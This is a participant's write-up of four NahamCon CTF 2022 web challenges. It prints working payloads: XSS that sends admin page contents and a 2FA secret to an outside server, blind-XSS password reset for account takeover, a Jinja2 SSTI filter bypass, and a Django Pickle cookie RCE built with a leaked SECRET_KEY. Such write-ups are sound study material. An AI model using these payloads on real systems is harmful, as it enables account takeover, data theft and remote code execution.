NahamCon CTF 2022 wirteup【Web Challenges ONLY】
In this writeup, I will write down only HARD web challenges in NahamCon CTF 2022 (sorry, I'm very lazy....)
- Hacker Ts【SSRF via Server-Side XSS】
- Two For One【Account Takeover via Blind XSS】
- Deafcon【RCE via Jinja2 SSTI】
- Poller【RCE via Django Pickle insecure deserialization with credential leak】
- Results
- Comment
Hacker Ts【SSRF via Server-Side XSS】
TLDR: We can perform Server-Side XSS and this leads to disclosure of Admin page content via SSRF
Author: @congon4tor#2334 We all love our hacker t-shirts. Make your own custom ones.
basic information
- we can reflect "Command" string input on T-shirt
- There is "Admin" page but we cannot access(403 Forbidden)
exploit
If you input <s>HTML injection</s>
, then you'll notice your input is rendered as raw HTML like this:
And <script>document.write(1)</script>
also works correctly(1
will be reflected).
We can perform "Server-Side XSS".
- Hacktricks→ Server Side XSS (Dynamic PDF) - HackTricks
Payload:
<script> x=new XMLHttpRequest; x.onload=function(){var i = new Image(1,1); i.src = "https://<myserver>/?c=" + btoa(this.responseText)}; x.open("GET","http://localhost:5000/admin");x.send(); </script>
This results in:
GET /?c=PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04IiAvPgogICAgPG1ldGEKICAgICAgbmFtZT0idmlld3BvcnQiCiAgICAgIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vIgogICAgLz4KCiAgICA8bGluawogICAgICByZWw9InN0eWxlc2hlZXQiCiAgICAgIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMC4yL2Rpc3QvY3NzL2Jvb3RzdHJhcC5taW4uY3NzIgogICAgICBjcm9zc29yaWdpbj0iYW5vbnltb3VzIgogICAgLz4KCiAgICA8bGluawogICAgICBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI/ZmFtaWx5PVZUMzIzJmRpc3BsYXk9c3dhcCIKICAgICAgcmVsPSJzdHlsZXNoZWV0IgogICAgLz4KCiAgICA8dGl0bGU+SGFja2VyIFRzPC90aXRsZT4KICA8L2hlYWQ+CgogIDxib2R5PgogICAgPCEtLSBOYXZpZ2F0aW9uIC0tPgogICAgPG5hdiBjbGFzcz0ibmF2YmFyIG5hdmJhci1leHBhbmQtbWQgbmF2YmFyLWRhcmsgYmctZGFyayI+CiAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPGEgY2xhc3M9Im5hdmJhci1icmFuZCIgaHJlZj0iLyIKICAgICAgICAgID48c3BhbiBjbGFzcz0iIiBzdHlsZT0iZm9udC1mYW1pbHk6ICdWVDMyMyc7IGZvbnQtc2l6ZTogNDBweCIKICAgICAgICAgICAgPkhhY2tlciBUczwvc3BhbgogICAgICAgICAgPjwvYQogICAgICAgID4KICAgICAgPC9kaXY+CiAgICA8L25hdj4KCiAgICA8IS0tIFBhZ2UgQ29udGVudCAtLT4KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgIDxkaXYgY2xhc3M9ImFsZXJ0IGFsZXJ0LXN1Y2Nlc3MgbXQtNSI+CiAgICAgICAgSGkgYWRtaW4hIGhlcmUgaXMgeW91ciBmbGFnOgogICAgICAgIDxzdHJvbmc+ZmxhZ3s0NjFlMjQ1MjA4OGViMzk3YjYxMzhhNTkzNGFmNjIzMX08L3N0cm9uZz4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDwhLS0gLy5jb250YWluZXIgLS0+CiAgPC9ib2R5PgoKICA8IS0tIEJvb3RzdHJhcCBKUyAtLT4KICA8c2NyaXB0CiAgICBzcmM9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMC4yL2Rpc3QvanMvYm9vdHN0cmFwLmJ1bmRsZS5taW4uanMiCiAgICBjcm9zc29yaWdpbj0iYW5vbnltb3VzIgogID48L3NjcmlwdD4KPC9odG1sPg==
This may be base64-encoded HTML content on /admin
endpoint, but cannot decode correctly so I used Chrome devtool.
Flag: flag{461e2452088eb397b6138a5934af6231}
Two For One【Account Takeover via Blind XSS】
TLDR: There is a Blind XSS vulnerability in "Feedback" functionality and we can make admin user reset their password. This leads to Account Takeover and finally we can read admin secret.
Author: @congon4tor#2334 Need to keep things secure? Try out our safe, the most secure in the world!
basic information
- probably Flask app(No backend source code)
- Every action like login, signup, reading secret requires 2FA OTP
- our goal in this challenge is to read admin secret as admin user
exploit
Step 1: Detect Blind XSS
In setting page, I notice there is a "Feedback" form and my malicious feedback input is rendered as HTML on admin side.
First, I input img tag payload:<img src="https://<myserver>/?hello-from-img-tag">
and my web server caught its response:
"GET /?hello-from-img-tag HTTP/1.1" 200 0 "http://localhost:5000/feedback/1" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.113 Safari/537.36"
Oh HeadlessChrome is working! maybe adminbot.
Next, I checked if XSS payload works or not.
<script>location.href = "https://<myserver>/?hello-from-js-tag"</script>
The result:
"GET /?hello-from-js-tag HTTP/1.1" 200 0 "http://localhost:5000/feedback/2" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/81.0.4044.113 Safari/537.36"
OK, there is a Blind XSS vulnerability and we can use it.
Step 2: Use XSS to reset admin OTP
After a while, I noticed this Blind XSS can be used to reset admin(HeadlessChrome) OTP.
Payload:
<script> setTimeout(reset2fa, 5000); function reset2fa() { fetch("/reset2fa", { method: "POST", headers: { 'Accept': 'application/json', 'Content-Type': 'application/json' } }).then(res => { res.json().then((json) => { var i = new Image(1, 1); i.src = "https://<myserver>/?otp=" + btoa(json.url); }); }) }; </script>
My nginx server caught that XSS result correctly.
GET /?otp=b3RwYXV0aDovL3RvdHAvRm9ydCUyMEtub3g6YWRtaW4/c2VjcmV0PTRMRDVIUUE0SFZKR1FQRFYmaXNzdWVyPUZvcnQlMjBLbm94
(´+ω+`)< echo b3RwYXV0aDovL3RvdHAvRm9ydCUyMEtub3g6YWRtaW4/c2VjcmV0PTRMRDVIUUE0SFZKR1FQRFYmaXNzdWVyPUZvcnQlMjBLbm94 | base64 -d ↓ otpauth://totp/Fort%20Knox:admin?secret=4LD5HQA4HVJGQPDV&issuer=Fort%20Knox
If you need a QR code for OTP, this site is useful→ 2FA QR Code Generator
OK, now we get admin OTP but still cannot read admin secret because "Show secret" looks separated by user_id in user session. So next we have to logged in as admin!!
But how? Blind XSS again!!
I browsed HTML source code and noticed that Reset Password API endpoint can be used to reset admin password because this endpoint works when we provide "password", "password_confirmation" and... yes, OTP number!
Payload:
<script> setTimeout(reset_password, 5000); function reset_password() { data = { "otp": "<admin OTP>", // change this "password": "hoge", "password2": "hoge" } fetch("/reset_password", { method: "POST", headers: { 'Accept': 'application/json', 'Content-Type': 'application/json' }, body: JSON.stringify(data) }).then(res => { var i = new Image(1, 1); i.src = "https://<myserver>/?message=password_change_done"; }); }; </script>
This payload will update admin password with valid OTP, and all we have to do now is just log in as admin😁
Flag: flag{96710ea6be916326f96de003c1cc97cb}
This challenge is really fantastic, respect to the challenge author congon4tor!
Deafcon【RCE via Jinja2 SSTI】
TLDR: The Flask app seems to have a perfect filter against SSTI, but there is one mistake and this allows us to do RCE.
Author: @congon4tor#2334 Deafcon 2022 is finally here! Make sure you don't miss it.
basic information
- Flask app(important)
- we can input username and email form that will be reflected on PDF
- username input is filtered very strictly (only
[a-zA-Z0-9_]
chars) - email input is filtered in 2 different ways,
RFC5322-compliant
andno parenthese
- username input is filtered very strictly (only
exploit
Step 1: Identify "where the vulnerable point is"
First of all, I gave up testing username form because it doesn't seem vulnerable.
Next, according to this stack overflow question, I learned that email format is more flexible than I expected so this can be useful to inject malicious letters(XSS, SSRF, SSTI...) stackoverflow.com
Then I quickly realized that we can perform Jinja2 SSTI by this payload:
"{{7*7}}"@aaa.com
"Aha!! it's a very, very easy challenge!!"... this expectation totally went wrong...😅
Step 2: How to bypass parentheses filter😭😭😭
In previous step, we know that the attack vector is SSTI and of course I tried RCE via SSTI.
I googled and picked up some payload like below:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
Oh there is parentheses()
filter!!
I spent about 10 hours on finding bypass technique of this restriction, but my conclusion is "In python3, we MUST use parentheses to call functions, no exception".
This means "We cannot use like os.system('ls')
things...
All my attempts to bypass this filter:
- Double(Triple) URL encoding
- HTML encoding
- Unicode
request.args.param
{%.set payload=request.args.param %}{{ payload }}
I was almost crazy and tried another attack like SSRF via link tag, Server-Side XSS but no luck😭
Step 3: Use full-width parentheses to bypass filter
I almost gave up but suddenly came up with one idea.
I remembered this hackerone report:
In this report, the researcher used full-width <
, means <
to bypass filter.
After normalization, full-width letters become half-width in this case.
how about this challenge? Both of parentheses letters have full-width version, ( and ).
OK, no matter how unlikely it is, but let's give a try😅😅😅
Oh my gosh, it works correctly🤣🤣🤣
What happens?
If you put "full-width parentheses is normalized()"@aaa.com, then you can see full-width parentheses pass the filter and then finally become half-width by normalization like this:
Final payload:
- "{{ self._TemplateReferencecontext.cycler.init.globals__.os.popen('cat flag.txt').read()}}"@aaa.com
Flag: flag{001a305ac5ab4b4ea995e5719ab10104}"
Poller【RCE via Django Pickle insecure deserialization with credential leak】
TLDR: The developer leaks Django SECRET_KEY on his public repository(.env) and Django app uses Pickle, famous for insecure deserialization, so it leads to RCE
Author: @congon4tor#2334 Have your say! Poller is the place where all the important infosec questions are asked.
basic information
exploit
Step 1: Get SECRET_KEY in .env from public repository
<!-- https://github.com/congon4tor/poller -->
is in challenge app so I quickly cloned this repository.
From git commit history, we can see:
- The developer(challenge author congon4tor) pushed default Django SECRET_KEY but seems to fix it in this commit.
But! He pushed .env file after that fix and removed, but seems not to revoke it!
Step 2: Craft Pickle RCE payload with SECRET_KEY
OK, we get SECRET_KEY and what's the next?
I quickly googled what to do with Django SECRET_KEY and I found this CTF writeup:
According to this writeup,
After spending some time googling for ways to exploit the secret key, I found out that this app is using cookie-based sessions with personalized PickleSerializer
Back to poller repository, the developer also modified Django app to use django.contrib.sessions.serializers.PickleSerializer
and we have SECRET_KEY to do same thing, game is over.
PoC:
import django.core.signing from pyspark.serializers import PickleSerializer import builtins SECRET_KEY = "77m6p#v&(wk_s2+n5na-bqe!m)^zu)9typ#0c&@qd%8o6!" # from .env payload = 'getattr(__import__("os"), "system")("echo <base64 encoded payload> | sh")' # change this class PickleRce(object): def __reduce__(self): return (builtins.eval, (payload,)) cookie = PickleRce() signed_cookie = django.core.signing.dumps(cookie, key=SECRET_KEY, serializer=PickleSerializer, salt='django.contrib.sessions.backends.signed_cookies', compress=True) print(signed_cookie)
All we need is just set signed_cookie
and send it to poller server.
I first checked if this PoC works or not by executing sleep command
payload = 'getattr(__import__("os"), "system")("sleep 30")'
And the response from poller app was delayed(curl <myserver>
too)
Finally I established a reverse shell connection and got a flag.
Flag: flag{a6b902e045b669148b5e92f771a68d39}
Results
Comment
It's been about 4 months since I participated in CTF last time. I decide to join NahamCon CTF whenever it holds so I was afraid that my CTF ability might have been down, but the result is surprising. I proved what I've been doing is right.
Actually the easiest challenge for me is poller because I just read past CTF writeup and applied it😅
- Deafcon is tooooo tough challenge... I literally read almost all of SSTI article or CTF writeups😫
Thank you for this great experience, NahamCon CTF organizers!!